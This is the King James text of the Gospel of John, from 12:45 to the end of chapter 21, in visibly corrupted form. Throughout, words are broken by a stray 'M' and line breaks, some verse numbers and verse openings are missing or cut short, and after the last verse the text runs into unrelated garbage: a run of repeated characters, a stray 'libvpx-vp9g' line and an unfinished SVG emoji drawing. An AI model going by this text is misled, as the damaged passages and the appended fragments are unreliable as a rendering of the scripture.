12:45: And he that seeth me seeth him that sent me.
12:46: I am come a light into the world, that whosoever believeth on me should not abide in darkness.
12:47: And if any man hear my words, and believe not, I judge him not: for I came not to judge the world, buM
t to save the world.
12:48: He that rejecteth me, and receiveth not my words, hath one that judgeth him: the word that I have spoken, the same shall judge him in the last day.
12:49: For I have not spoken of myself; but the Father which sent me, he gave me a commandment, what I should say, and what I should speak.
12:50: And I know that his commandment is life everlasting: whatsoever I speak therefore, even as the Father said unto me, so I speak.
13:1: Now before the feast of the passover, when Jesus knM
ew that his hour was come that he should depart out of this world unto the Father, having loved his own which were in the world, he loved them unto the end.
13:2: And supper being ended, the devil having now put into the heart of Judas Iscariot, Simon's son, to betray him;
13:3: Jesus knowing that the Father had given all things into his hands, and that he was come from God, and went to God;
13:4: He riseth from supper, and laid aside his garments; and took a towel, and girded himself.
13:5: After that he poureth wM
ater into a bason, and began to wash the disciples' feet, and to wipe them with the towel wherewith he was girded.
13:6: Then cometh he to Simon Peter: and Peter saith unto him, Lord, dost thou wash my feet?
13:7: Jesus answered and said unto him, What I do thou knowest not now; but thou shalt know hereafter.
13:8: Peter saith unto him, Thou shalt never wash my feet. Jesus answered him, If I wash thee not, thou hast no part with me.
13:9: Simon Peter saith unto him, Lord, not my feet only, but also my hands and my M
13:10: Jesus saith to him, He that is washed needeth not save to wash his feet, but is clean every whit: and ye are clean, but not all.
13:11: For he knew who should betray him; therefore said he, Ye are not all clean.
13:12: So after he had washed their feet, and had taken his garments, and was set down again, he said unto them, Know ye what I have done to you?
13:13: Ye call me Master and Lord: and ye say well; for so I am.
13:14: If I then, your Lord and Master, have washed your feet; ye also ought to washM
 one another's feet.
13:15: For I have given you an example, that ye should do as I have done to you.
13:16: Verily, verily, I say unto you, The servant is not greater than his lord; neither he that is sent greater than he that sent him.
13:17: If ye know these things, happy are ye if ye do them.
13:18: I speak not of you all: I know whom I have chosen: but that the scripture may be fulfilled, He that eateth bread with me hath lifted up his heel against me.
13:19: Now I tell you before it come, that, when it is comM
e to pass, ye may believe that I am he.
13:20: Verily, verily, I say unto you, He that receiveth whomsoever I send receiveth me; and he that receiveth me receiveth him that sent me.
13:21: When Jesus had thus said, he was troubled in spirit, and testified, and said, Verily, verily, I say unto you, that one of you shall betray me.
13:22: Then the disciples looked one on another, doubting of whom he spake.
13:23: Now there was leaning on Jesus' bosom one of his disciples, whom Jesus loved.
13:24: Simon Peter thereforM
e beckoned to him, that he should ask who it should be of whom he spake.
13:25: He then lying on Jesus' breast saith unto him, Lord, who is it?
13:26: Jesus answered, He it is, to whom I shall give a sop, when I have dipped it. And when he had dipped the sop, he gave it to Judas Iscariot, the son of Simon.
13:27: And after the sop Satan entered into him. Then said Jesus unto him, That thou doest, do quickly.
13:28: Now no man at the table knew for what intent he spake this unto him.
13:29: For some of them thought,M
 because Judas had the bag, that Jesus had said unto him, Buy those things that we have need of against the feast; or, that he should give something to the poor.
13:30: He then having received the sop went immediately out: and it was night.
13:31: Therefore, when he was gone out, Jesus said, Now is the Son of man glorified, and God is glorified in him.
13:32: If God be glorified in him, God shall also glorify him in himself, and shall straightway glorify him.
13:33: Little children, yet a little while I am with youM
. Ye shall seek me: and as I said unto the Jews, Whither I go, ye cannot come; so now I say to you.
13:34: A new commandment I give unto you, That ye love one another; as I have loved you, that ye also love one another.
13:35: By this shall all men know that ye are my disciples, if ye have love one to another.
13:36: Simon Peter said unto him, Lord, whither goest thou? Jesus answered him, Whither I go, thou canst not follow me now; but thou shalt follow me afterwards.
13:37: Peter said unto him, Lord, why cannot I M
follow thee now? I will lay down my life for thy sake.
13:38: Jesus answered him, Wilt thou lay down thy life for my sake? Verily, verily, I say unto thee, The cock shall not crow, till thou hast denied me thrice.
14:1: Let not your heart be troubled: ye believe in God, believe also in me.
14:2: In my Father's house are many mansions: if it were not so, I would have told you. I go to prepare a place for you.
14:3: And if I go and prepare a place for you, I will come again, and receive you unto myself; tM
hat where I am, there ye may be also.
14:4: And whither I go ye know, and the way ye know.
14:5: Thomas saith unto him, Lord, we know not whither thou goest; and how can we know the way?
14:6: Jesus saith unto him, I am the way, the truth, and the life: no man cometh unto the Father, but by me.
14:7: If ye had known me, ye should have known my Father also: and from henceforth ye know him, and have seen him.
14:8: Philip saith unto him, Lord, shew us the Father, and it sufficeth us.
14:9: Jesus saith unto him, Have M
I been so long time with you, and yet hast thou not known me, Philip? he that hath seen me hath seen the Father; and how sayest thou then, Shew us the Father?
14:10: Believest thou not that I am in the Father, and the Father in me? the words that I speak unto you I speak not of myself: but the Father that dwelleth in me, he doeth the works.
14:11: Believe me that I am in the Father, and the Father in me: or else believe me for the very works' sake.
14:12: Verily, verily, I say unto you, He that believeth on me, theM
 works that I do shall he do also; and greater works than these shall he do; because I go unto my Father.
14:13: And whatsoever ye shall ask in my name, that will I do, that the Father may be glorified in the Son.
14:14: If ye shall ask any thing in my name, I will do it.
14:15: If ye love me, keep my commandments.
14:16: And I will pray the Father, and he shall give you another Comforter, that he may abide with you for ever;
14:17: Even the Spirit of truth; whom the world cannot receive, because it seeth him not, M
neither knoweth him: but ye know him; for he dwelleth with you, and shall be in you.
14:18: I will not leave you comfortless: I will come to you.
14:19: Yet a little while, and the world seeth me no more; but ye see me: because I live, ye shall live also.
14:20: At that day ye shall know that I am in my Father, and ye in me, and I in you.
14:21: He that hath my commandments, and keepeth them, he it is that loveth me: and he that loveth me shall be loved of my Father, and I will love him, and will manifest myself toM
14:22: Judas saith unto him, not Iscariot, Lord, how is it that thou wilt manifest thyself unto us, and not unto the world?
14:23: Jesus answered and said unto him, If a man love me, he will keep my words: and my Father will love him, and we will come unto him, and make our abode with him.
14:24: He that loveth me not keepeth not my sayings: and the word which ye hear is not mine, but the Father's which sent me.
14:25: These things have I spoken unto you, being yet present with you.
14:26: But the Comforter, M
which is the Holy Ghost, whom the Father will send in my name, he shall teach you all things, and bring all things to your remembrance, whatsoever I have said unto you.
14:27: Peace I leave with you, my peace I give unto you: not as the world giveth, give I unto you. Let not your heart be troubled, neither let it be afraid.
14:28: Ye have heard how I said unto you, I go away, and come again unto you. If ye loved me, ye would rejoice, because I said, I go unto the Father: for my Father is greater than I.
now I have told you before it come to pass, that, when it is come to pass, ye might believe.
14:30: Hereafter I will not talk much with you: for the prince of this world cometh, and hath nothing in me.
14:31: But that the world may know that I love the Father; and as the Father gave me commandment, even so I do. Arise, let us go hence.
15:1: I am the true vine, and my Father is the husbandman.
15:2: Every branch in me that beareth not fruit he taketh away: and every branch that beareth fruit, he purgethM
 it, that it may bring forth more fruit.
15:3: Now ye are clean through the word which I have spoken unto you.
15:4: Abide in me, and I in you. As the branch cannot bear fruit of itself, except it abide in the vine; no more can ye, except ye abide in me.
15:5: I am the vine, ye are the branches: He that abideth in me, and I in him, the same bringeth forth much fruit: for without me ye can do nothing.
15:6: If a man abide not in me, he is cast forth as a branch, and is withered; and men gather them, and cast them inM
to the fire, and they are burned.
15:7: If ye abide in me, and my words abide in you, ye shall ask what ye will, and it shall be done unto you.
15:8: Herein is my Father glorified, that ye bear much fruit; so shall ye be my disciples.
15:9: As the Father hath loved me, so have I loved you: continue ye in my love.
15:10: If ye keep my commandments, ye shall abide in my love; even as I have kept my Father's commandments, and abide in his love.
15:11: These things have I spoken unto you, that my joy might remain in yoM
u, and that your joy might be full.
15:12: This is my commandment, That ye love one another, as I have loved you.
15:13: Greater love hath no man than this, that a man lay down his life for his friends.
15:14: Ye are my friends, if ye do whatsoever I command you.
15:15: Henceforth I call you not servants; for the servant knoweth not what his lord doeth: but I have called you friends; for all things that I have heard of my Father I have made known unto you.
15:16: Ye have not chosen me, but I have chosen you, and orM
dained you, that ye should go and bring forth fruit, and that your fruit should remain: that whatsoever ye shall ask of the Father in my name, he may give it you.
15:17: These things I command you, that ye love one another.
15:18: If the world hate you, ye know that it hated me before it hated you.
15:19: If ye were of the world, the world would love his own: but because ye are not of the world, but I have chosen you out of the world, therefore the world hateth you.
15:20: Remember the word that I said unto you, ThM
e servant is not greater than his lord. If they have persecuted me, they will also persecute you; if they have kept my saying, they will keep yours also.
15:21: But all these things will they do unto you for my name's sake, because they know not him that sent me.
15:22: If I had not come and spoken unto them, they had not had sin: but now they have no cloke for their sin.
15:23: He that hateth me hateth my Father also.
15:24: If I had not done among them the works which none other man did, they had not had sin: butM
 now have they both seen and hated both me and my Father.
15:25: But this cometh to pass, that the word might be fulfilled that is written in their law, They hated me without a cause.
15:26: But when the Comforter is come, whom I will send unto you from the Father, even the Spirit of truth, which proceedeth from the Father, he shall testify of me:
15:27: And ye also shall bear witness, because ye have been with me from the beginning.
16:1: These things have I spoken unto you, that ye should not be offenM
16:2: They shall put you out of the synagogues: yea, the time cometh, that whosoever killeth you will think that he doeth God service.
16:3: And these things will they do unto you, because they have not known the Father, nor me.
16:4: But these things have I told you, that when the time shall come, ye may remember that I told you of them. And these things I said not unto you at the beginning, because I was with you.
16:5: But now I go my way to him that sent me; and none of you asketh me, Whither goest thou?
6:6: But because I have said these things unto you, sorrow hath filled your heart.
16:7: Nevertheless I tell you the truth; It is expedient for you that I go away: for if I go not away, the Comforter will not come unto you; but if I depart, I will send him unto you.
16:8: And when he is come, he will reprove the world of sin, and of righteousness, and of judgment:
16:9: Of sin, because they believe not on me;
16:10: Of righteousness, because I go to my Father, and ye see me no more;
16:11: Of judgment, because the M
prince of this world is judged.
16:12: I have yet many things to say unto you, but ye cannot bear them now.
16:13: Howbeit when he, the Spirit of truth, is come, he will guide you into all truth: for he shall not speak of himself; but whatsoever he shall hear, that shall he speak: and he will shew you things to come.
16:14: He shall glorify me: for he shall receive of mine, and shall shew it unto you.
16:15: All things that the Father hath are mine: therefore said I, that he shall take of mine, and shall shew it unM
16:16: A little while, and ye shall not see me: and again, a little while, and ye shall see me, because I go to the Father.
16:17: Then said some of his disciples among themselves, What is this that he saith unto us, A little while, and ye shall not see me: and again, a little while, and ye shall see me: and, Because I go to the Father?
16:18: They said therefore, What is this that he saith, A little while? we cannot tell what he saith.
16:19: Now Jesus knew that they were desirous to ask him, and said untoM
 them, Do ye enquire among yourselves of that I said, A little while, and ye shall not see me: and again, a little while, and ye shall see me?
16:20: Verily, verily, I say unto you, That ye shall weep and lament, but the world shall rejoice: and ye shall be sorrowful, but your sorrow shall be turned into joy.
16:21: A woman when she is in travail hath sorrow, because her hour is come: but as soon as she is delivered of the child, she remembereth no more the anguish, for joy that a man is born into the world.
 And ye now therefore have sorrow: but I will see you again, and your heart shall rejoice, and your joy no man taketh from you.
16:23: And in that day ye shall ask me nothing. Verily, verily, I say unto you, Whatsoever ye shall ask the Father in my name, he will give it you.
16:24: Hitherto have ye asked nothing in my name: ask, and ye shall receive, that your joy may be full.
16:25: These things have I spoken unto you in proverbs: but the time cometh, when I shall no more speak unto you in proverbs, but I shall shM
ew you plainly of the Father.
16:26: At that day ye shall ask in my name: and I say not unto you, that I will pray the Father for you:
16:27: For the Father himself loveth you, because ye have loved me, and have believed that I came out from God.
16:28: I came forth from the Father, and am come into the world: again, I leave the world, and go to the Father.
16:29: His disciples said unto him, Lo, now speakest thou plainly, and speakest no proverb.
16:30: Now are we sure that thou knowest all things, and needest notM
 that any man should ask thee: by this we believe that thou camest forth from God.
16:31: Jesus answered them, Do ye now believe?
16:32: Behold, the hour cometh, yea, is now come, that ye shall be scattered, every man to his own, and shall leave me alone: and yet I am not alone, because the Father is with me.
16:33: These things I have spoken unto you, that in me ye might have peace. In the world ye shall have tribulation: but be of good cheer; I have overcome the world.
17:1: These words spake Jesus, aM
nd lifted up his eyes to heaven, and said, Father, the hour is come; glorify thy Son, that thy Son also may glorify thee:
17:2: As thou hast given him power over all flesh, that he should give eternal life to as many as thou hast given him.
17:3: And this is life eternal, that they might know thee the only true God, and Jesus Christ, whom thou hast sent.
17:4: I have glorified thee on the earth: I have finished the work which thou gavest me to do.
17:5: And now, O Father, glorify thou me with thine own self with thM
e glory which I had with thee before the world was.
17:6: I have manifested thy name unto the men which thou gavest me out of the world: thine they were, and thou gavest them me; and they have kept thy word.
17:7: Now they have known that all things whatsoever thou hast given me are of thee.
17:8: For I have given unto them the words which thou gavest me; and they have received them, and have known surely that I came out from thee, and they have believed that thou didst send me.
17:9: I pray for them: I pray not foM
r the world, but for them which thou hast given me; for they are thine.
17:10: And all mine are thine, and thine are mine; and I am glorified in them.
17:11: And now I am no more in the world, but these are in the world, and I come to thee. Holy Father, keep through thine own name those whom thou hast given me, that they may be one, as we are.
17:12: While I was with them in the world, I kept them in thy name: those that thou gavest me I have kept, and none of them is lost, but the son of perdition; that the scriptM
ure might be fulfilled.
17:13: And now come I to thee; and these things I speak in the world, that they might have my joy fulfilled in themselves.
17:14: I have given them thy word; and the world hath hated them, because they are not of the world, even as I am not of the world.
17:15: I pray not that thou shouldest take them out of the world, but that thou shouldest keep them from the evil.
17:16: They are not of the world, even as I am not of the world.
17:17: Sanctify them through thy truth: thy word is truth.
:18: As thou hast sent me into the world, even so have I also sent them into the world.
17:19: And for their sakes I sanctify myself, that they also might be sanctified through the truth.
17:20: Neither pray I for these alone, but for them also which shall believe on me through their word;
17:21: That they all may be one; as thou, Father, art in me, and I in thee, that they also may be one in us: that the world may believe that thou hast sent me.
17:22: And the glory which thou gavest me I have given them; that theM
y may be one, even as we are one:
17:23: I in them, and thou in me, that they may be made perfect in one; and that the world may know that thou hast sent me, and hast loved them, as thou hast loved me.
17:24: Father, I will that they also, whom thou hast given me, be with me where I am; that they may behold my glory, which thou hast given me: for thou lovedst me before the foundation of the world.
17:25: O righteous Father, the world hath not known thee: but I have known thee, and these have known that thou hast seM
17:26: And I have declared unto them thy name, and will declare it: that the love wherewith thou hast loved me may be in them, and I in them.
18:1: When Jesus had spoken these words, he went forth with his disciples over the brook Cedron, where was a garden, into the which he entered, and his disciples.
18:2: And Judas also, which betrayed him, knew the place: for Jesus ofttimes resorted thither with his disciples.
18:3: Judas then, having received a band of men and officers from the chief priestM
s and Pharisees, cometh thither with lanterns and torches and weapons.
18:4: Jesus therefore, knowing all things that should come upon him, went forth, and said unto them, Whom seek ye?
18:5: They answered him, Jesus of Nazareth. Jesus saith unto them, I am he. And Judas also, which betrayed him, stood with them.
18:6: As soon then as he had said unto them, I am he, they went backward, and fell to the ground.
18:7: Then asked he them again, Whom seek ye? And they said, Jesus of Nazareth.
18:8: Jesus answered, I havM
e told you that I am he: if therefore ye seek me, let these go their way:
18:9: That the saying might be fulfilled, which he spake, Of them which thou gavest me have I lost none.
18:10: Then Simon Peter having a sword drew it, and smote the high priest's servant, and cut off his right ear. The servant's name was Malchus.
18:11: Then said Jesus unto Peter, Put up thy sword into the sheath: the cup which my Father hath given me, shall I not drink it?
18:12: Then the band and the captain and officers of the Jews took M
Jesus, and bound him,
18:13: And led him away to Annas first; for he was father in law to Caiaphas, which was the high priest that same year.
18:14: Now Caiaphas was he, which gave counsel to the Jews, that it was expedient that one man should die for the people.
18:15: And Simon Peter followed Jesus, and so did another disciple: that disciple was known unto the high priest, and went in with Jesus into the palace of the high priest.
18:16: But Peter stood at the door without. Then went out that other disciple, whicM
h was known unto the high priest, and spake unto her that kept the door, and brought in Peter.
18:17: Then saith the damsel that kept the door unto Peter, Art not thou also one of this man's disciples? He saith, I am not.
18:18: And the servants and officers stood there, who had made a fire of coals; for it was cold: and they warmed themselves: and Peter stood with them, and warmed himself.
18:19: The high priest then asked Jesus of his disciples, and of his doctrine.
18:20: Jesus answered him, I spake openly to thM
e world; I ever taught in the synagogue, and in the temple, whither the Jews always resort; and in secret have I said nothing.
18:21: Why askest thou me? ask them which heard me, what I have said unto them: behold, they know what I said.
18:22: And when he had thus spoken, one of the officers which stood by struck Jesus with the palm of his hand, saying, Answerest thou the high priest so?
18:23: Jesus answered him, If I have spoken evil, bear witness of the evil: but if well, why smitest thou me?
ad sent him bound unto Caiaphas the high priest.
18:25: And Simon Peter stood and warmed himself. They said therefore unto him, Art not thou also one of his disciples? He denied it, and said, I am not.
18:26: One of the servants of the high priest, being his kinsman whose ear Peter cut off, saith, Did not I see thee in the garden with him?
18:27: Peter then denied again: and immediately the cock crew.
18:28: Then led they Jesus from Caiaphas unto the hall of judgment: and it was early; and they themselves went not M
into the judgment hall, lest they should be defiled; but that they might eat the passover.
18:29: Pilate then went out unto them, and said, What accusation bring ye against this man?
18:30: They answered and said unto him, If he were not a malefactor, we would not have delivered him up unto thee.
18:31: Then said Pilate unto them, Take ye him, and judge him according to your law. The Jews therefore said unto him, It is not lawful for us to put any man to death:
18:32: That the saying of Jesus might be fulfilled, whM
ich he spake, signifying what death he should die.
18:33: Then Pilate entered into the judgment hall again, and called Jesus, and said unto him, Art thou the King of the Jews?
18:34: Jesus answered him, Sayest thou this thing of thyself, or did others tell it thee of me?
18:35: Pilate answered, Am I a Jew? Thine own nation and the chief priests have delivered thee unto me: what hast thou done?
18:36: Jesus answered, My kingdom is not of this world: if my kingdom were of this world, then would my servants fight, thaM
t I should not be delivered to the Jews: but now is my kingdom not from hence.
18:37: Pilate therefore said unto him, Art thou a king then? Jesus answered, Thou sayest that I am a king. To this end was I born, and for this cause came I into the world, that I should bear witness unto the truth. Every one that is of the truth heareth my voice.
18:38: Pilate saith unto him, What is truth? And when he had said this, he went out again unto the Jews, and saith unto them, I find in him no fault at all.
18:39: But ye have M
a custom, that I should release unto you one at the passover: will ye therefore that I release unto you the King of the Jews?
18:40: Then cried they all again, saying, Not this man, but Barabbas. Now Barabbas was a robber.
19:1: Then Pilate therefore took Jesus, and scourged him.
19:2: And the soldiers platted a crown of thorns, and put it on his head, and they put on him a purple robe,
19:3: And said, Hail, King of the Jews! and they smote him with their hands.
19:4: Pilate therefore went forth again, M
and saith unto them, Behold, I bring him forth to you, that ye may know that I find no fault in him.
19:5: Then came Jesus forth, wearing the crown of thorns, and the purple robe. And Pilate saith unto them, Behold the man!
19:6: When the chief priests therefore and officers saw him, they cried out, saying, Crucify him, crucify him. Pilate saith unto them, Take ye him, and crucify him: for I find no fault in him.
19:7: The Jews answered him, We have a law, and by our law he ought to die, because he made himself theM
19:8: When Pilate therefore heard that saying, he was the more afraid;
19:9: And went again into the judgment hall, and saith unto Jesus, Whence art thou? But Jesus gave him no answer.
19:10: Then saith Pilate unto him, Speakest thou not unto me? knowest thou not that I have power to crucify thee, and have power to release thee?
19:11: Jesus answered, Thou couldest have no power at all against me, except it were given thee from above: therefore he that delivered me unto thee hath the greater sin.
: And from thenceforth Pilate sought to release him: but the Jews cried out, saying, If thou let this man go, thou art not Caesar's friend: whosoever maketh himself a king speaketh against Caesar.
19:13: When Pilate therefore heard that saying, he brought Jesus forth, and sat down in the judgment seat in a place that is called the Pavement, but in the Hebrew, Gabbatha.
19:14: And it was the preparation of the passover, and about the sixth hour: and he saith unto the Jews, Behold your King!
19:15: But they cried outM
, Away with him, away with him, crucify him. Pilate saith unto them, Shall I crucify your King? The chief priests answered, We have no king but Caesar.
19:16: Then delivered he him therefore unto them to be crucified. And they took Jesus, and led him away.
19:17: And he bearing his cross went forth into a place called the place of a skull, which is called in the Hebrew Golgotha:
19:18: Where they crucified him, and two other with him, on either side one, and Jesus in the midst.
19:19: And Pilate wrote a title, and M
put it on the cross. And the writing was, JESUS OF NAZARETH THE KING OF THE JEWS.
19:20: This title then read many of the Jews: for the place where Jesus was crucified was nigh to the city: and it was written in Hebrew, and Greek, and Latin.
19:21: Then said the chief priests of the Jews to Pilate, Write not, The King of the Jews; but that he said, I am King of the Jews.
19:22: Pilate answered, What I have written I have written.
19:23: Then the soldiers, when they had crucified Jesus, took his garments, and made fM
our parts, to every soldier a part; and also his coat: now the coat was without seam, woven from the top throughout.
19:24: They said therefore among themselves, Let us not rend it, but cast lots for it, whose it shall be: that the scripture might be fulfilled, which saith, They parted my raiment among them, and for my vesture they did cast lots. These things therefore the soldiers did.
19:25: Now there stood by the cross of Jesus his mother, and his mother's sister, Mary the wife of Cleophas, and Mary Magdalene.
9:26: When Jesus therefore saw his mother, and the disciple standing by, whom he loved, he saith unto his mother, Woman, behold thy son!
19:27: Then saith he to the disciple, Behold thy mother! And from that hour that disciple took her unto his own home.
19:28: After this, Jesus knowing that all things were now accomplished, that the scripture might be fulfilled, saith, I thirst.
19:29: Now there was set a vessel full of vinegar: and they filled a spunge with vinegar, and put it upon hyssop, and put it to his mouthM
19:30: When Jesus therefore had received the vinegar, he said, It is finished: and he bowed his head, and gave up the ghost.
19:31: The Jews therefore, because it was the preparation, that the bodies should not remain upon the cross on the sabbath day, (for that sabbath day was an high day,) besought Pilate that their legs might be broken, and that they might be taken away.
19:32: Then came the soldiers, and brake the legs of the first, and of the other which was crucified with him.
19:33: But when they came to JM
esus, and saw that he was dead already, they brake not his legs:
19:34: But one of the soldiers with a spear pierced his side, and forthwith came there out blood and water.
19:35: And he that saw it bare record, and his record is true: and he knoweth that he saith true, that ye might believe.
19:36: For these things were done, that the scripture should be fulfilled, A bone of him shall not be broken.
19:37: And again another scripture saith, They shall look on him whom they pierced.
19:38: And after this Joseph of M
Arimathaea, being a disciple of Jesus, but secretly for fear of the Jews, besought Pilate that he might take away the body of Jesus: and Pilate gave him leave. He came therefore, and took the body of Jesus.
19:39: And there came also Nicodemus, which at the first came to Jesus by night, and brought a mixture of myrrh and aloes, about an hundred pound weight.
19:40: Then took they the body of Jesus, and wound it in linen clothes with the spices, as the manner of the Jews is to bury.
19:41: Now in the place where he M
was crucified there was a garden; and in the garden a new sepulchre, wherein was never man yet laid.
19:42: There laid they Jesus therefore because of the Jews' preparation day; for the sepulchre was nigh at hand.
20:1: The first day of the week cometh Mary Magdalene early, when it was yet dark, unto the sepulchre, and seeth the stone taken away from the sepulchre.
20:2: Then she runneth, and cometh to Simon Peter, and to the other disciple, whom Jesus loved, and saith unto them, They have taken away thM
e Lord out of the sepulchre, and we know not where they have laid him.
20:3: Peter therefore went forth, and that other disciple, and came to the sepulchre.
20:4: So they ran both together: and the other disciple did outrun Peter, and came first to the sepulchre.
20:5: And he stooping down, and looking in, saw the linen clothes lying; yet went he not in.
20:6: Then cometh Simon Peter following him, and went into the sepulchre, and seeth the linen clothes lie,
20:7: And the napkin, that was about his head, not lyingM
 with the linen clothes, but wrapped together in a place by itself.
20:8: Then went in also that other disciple, which came first to the sepulchre, and he saw, and believed.
20:9: For as yet they knew not the scripture, that he must rise again from the dead.
20:10: Then the disciples went away again unto their own home.
20:11: But Mary stood without at the sepulchre weeping: and as she wept, she stooped down, and looked into the sepulchre,
20:12: And seeth two angels in white sitting, the one at the head, and the oM
ther at the feet, where the body of Jesus had lain.
20:13: And they say unto her, Woman, why weepest thou? She saith unto them, Because they have taken away my Lord, and I know not where they have laid him.
20:14: And when she had thus said, she turned herself back, and saw Jesus standing, and knew not that it was Jesus.
20:15: Jesus saith unto her, Woman, why weepest thou? whom seekest thou? She, supposing him to be the gardener, saith unto him, Sir, if thou have borne him hence, tell me where thou hast laid him, M
and I will take him away.
20:16: Jesus saith unto her, Mary. She turned herself, and saith unto him, Rabboni; which is to say, Master.
20:17: Jesus saith unto her, Touch me not; for I am not yet ascended to my Father: but go to my brethren, and say unto them, I ascend unto my Father, and your Father; and to my God, and your God.
20:18: Mary Magdalene came and told the disciples that she had seen the Lord, and that he had spoken these things unto her.
20:19: Then the same day at evening, being the first day of the wM
eek, when the doors were shut where the disciples were assembled for fear of the Jews, came Jesus and stood in the midst, and saith unto them, Peace be unto you.
20:20: And when he had so said, he shewed unto them his hands and his side. Then were the disciples glad, when they saw the Lord.
20:21: Then said Jesus to them again, Peace be unto you: as my Father hath sent me, even so send I you.
20:22: And when he had said this, he breathed on them, and saith unto them, Receive ye the Holy Ghost:
20:23: Whose soever sM
ins ye remit, they are remitted unto them; and whose soever sins ye retain, they are retained.
20:24: But Thomas, one of the twelve, called Didymus, was not with them when Jesus came.
20:25: The other disciples therefore said unto him, We have seen the Lord. But he said unto them, Except I shall see in his hands the print of the nails, and put my finger into the print of the nails, and thrust my hand into his side, I will not believe.
20:26: And after eight days again his disciples were within, and Thomas with themM
: then came Jesus, the doors being shut, and stood in the midst, and said, Peace be unto you.
20:27: Then saith he to Thomas, Reach hither thy finger, and behold my hands; and reach hither thy hand, and thrust it into my side: and be not faithless, but believing.
20:28: And Thomas answered and said unto him, My Lord and my God.
20:29: Jesus saith unto him, Thomas, because thou hast seen me, thou hast believed: blessed are they that have not seen, and yet have believed.
20:30: And many other signs truly did Jesus inM
 the presence of his disciples, which are not written in this book:
20:31: But these are written, that ye might believe that Jesus is the Christ, the Son of God; and that believing ye might have life through his name.
21:1: After these things Jesus shewed himself again to the disciples at the sea of Tiberias; and on this wise shewed he himself.
21:2: There were together Simon Peter, and Thomas called Didymus, and Nathanael of Cana in Galilee, and the sons of Zebedee, and two other of his disciples.
: Simon Peter saith unto them, I go a fishing. They say unto him, We also go with thee. They went forth, and entered into a ship immediately; and that night they caught nothing.
21:4: But when the morning was now come, Jesus stood on the shore: but the disciples knew not that it was Jesus.
21:5: Then Jesus saith unto them, Children, have ye any meat? They answered him, No.
21:6: And he said unto them, Cast the net on the right side of the ship, and ye shall find. They cast therefore, and now they were not able to dM
raw it for the multitude of fishes.
21:7: Therefore that disciple whom Jesus loved saith unto Peter, It is the Lord. Now when Simon Peter heard that it was the Lord, he girt his fisher's coat unto him, (for he was naked,) and did cast himself into the sea.
21:8: And the other disciples came in a little ship; (for they were not far from land, but as it were two hundred cubits,) dragging the net with fishes.
21:9: As soon then as they were come to land, they saw a fire of coals there, and fish laid thereon, and breadM
21:10: Jesus saith unto them, Bring of the fish which ye have now caught.
21:11: Simon Peter went up, and drew the net to land full of great fishes, an hundred and fifty and three: and for all there were so many, yet was not the net broken.
21:12: Jesus saith unto them, Come and dine. And none of the disciples durst ask him, Who art thou? knowing that it was the Lord.
21:13: Jesus then cometh, and taketh bread, and giveth them, and fish likewise.
21:14: This is now the third time that Jesus shewed himself to his M
disciples, after that he was risen from the dead.
21:15: So when they had dined, Jesus saith to Simon Peter, Simon, son of Jonas, lovest thou me more than these? He saith unto him, Yea, Lord; thou knowest that I love thee. He saith unto him, Feed my lambs.
21:16: He saith to him again the second time, Simon, son of Jonas, lovest thou me? He saith unto him, Yea, Lord; thou knowest that I love thee. He saith unto him, Feed my sheep.
21:17: He saith unto him the third time, Simon, son of Jonas, lovest thou me? Peter wM
as grieved because he said unto him the third time, Lovest thou me? And he said unto him, Lord, thou knowest all things; thou knowest that I love thee. Jesus saith unto him, Feed my sheep.
21:18: Verily, verily, I say unto thee, When thou wast young, thou girdedst thyself, and walkedst whither thou wouldest: but when thou shalt be old, thou shalt stretch forth thy hands, and another shall gird thee, and carry thee whither thou wouldest not.
21:19: This spake he, signifying by what death he should glorify God. And wM
hen he had spoken this, he saith unto him, Follow me.
21:20: Then Peter, turning about, seeth the disciple whom Jesus loved following; which also leaned on his breast at supper, and said, Lord, which is he that betrayeth thee?
21:21: Peter seeing him saith to Jesus, Lord, and what shall this man do?
21:22: Jesus saith unto him, If I will that he tarry till I come, what is that to thee? follow thou me.
21:23: Then went this saying abroad among the brethren, that that disciple should not die: yet Jesus said not unto M
him, He shall not die; but, If I will that he tarry till I come, what is that to thee?
21:24: This is the disciple which testifieth of these things, and wrote these things: and we know that his testimony is true.
21:25: And there are also many other things which Jesus did, the which, if they should be written every one, I suppose that even the world itself could not contain the books that should be written. Amen.h!
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
59.37.100 libvpx-vp9g
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
  <g id="line-supplement">
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="m52 52.38c0.8775-1.631 1-5.38 1-7.38 0-4-4-11-4-11"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="m44 36s3 6.728 3 10c0 3.065-1 8-1 10"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin=M
"round" stroke-miterlimit="10" stroke-width="2" d="m20 52.4c-0.8775-1.631-1-5.4-1-7.4 0-4 4-11 4-11"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="m28 36s-3 6.728-3 10c0 3.065 1 8 1 10"/>
    <path fill="#FCEA2B" d="m36.2 13.32c-12.57 0-22.8 10.23-22.8 22.8 0 12.57 10.23 22.8 22.8 22.8 12.57 0 22.8-10.23 22.8-22.8 0-12.57-10.23-22.8-22.8-22.8z"/>
    <path fill-rule="evenodd" stroke-linecap="round" stroke-linejM
oin="round" stroke-miterlimit="10" stroke-width="0.1" d="m35.93 51.58c-2.461 0-4.742-2.368-4.742-4.987 0-2.619 2.444-4.66 4.905-4.66s4.701 2.205 4.701 4.823c-1e-6 2.619-2.403 4.823-4.864 4.823z"/>
    <path fill="#fff" stroke-linejoin="round" stroke-width="2" d="m31.37 45.29c2.025 1.288 7.318 1.288 9.26 0l-4.63-4.005z"/>
    <path fill="#92d3f5" d="m29.7 32.02c-5.762 9.541-3.86 14.27-3.696 23.98 0 1.803-5.146-2.412-6-4-2.17-5.92-0.3989-13.81 2.5-19.18 2.887-1.622 6.992-2.084 7.196-0.8031z"/>
    <path fill="#92d3f5M
" d="m42.3 32.4c5.762 9.541 3.86 14.27 3.696 23.98 0 1.803 5.146-2.412 6-4 2.17-5.92 0.3989-13.81-2.5-19.18-2.887-1.622-6.992-2.084-7.196-0.8031z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="m40.5 32.82c0.4132-0.344 2.246-1.792 4.909-1.636 2.161 0.1259 3.61 1.233 4.091 1.636"/>
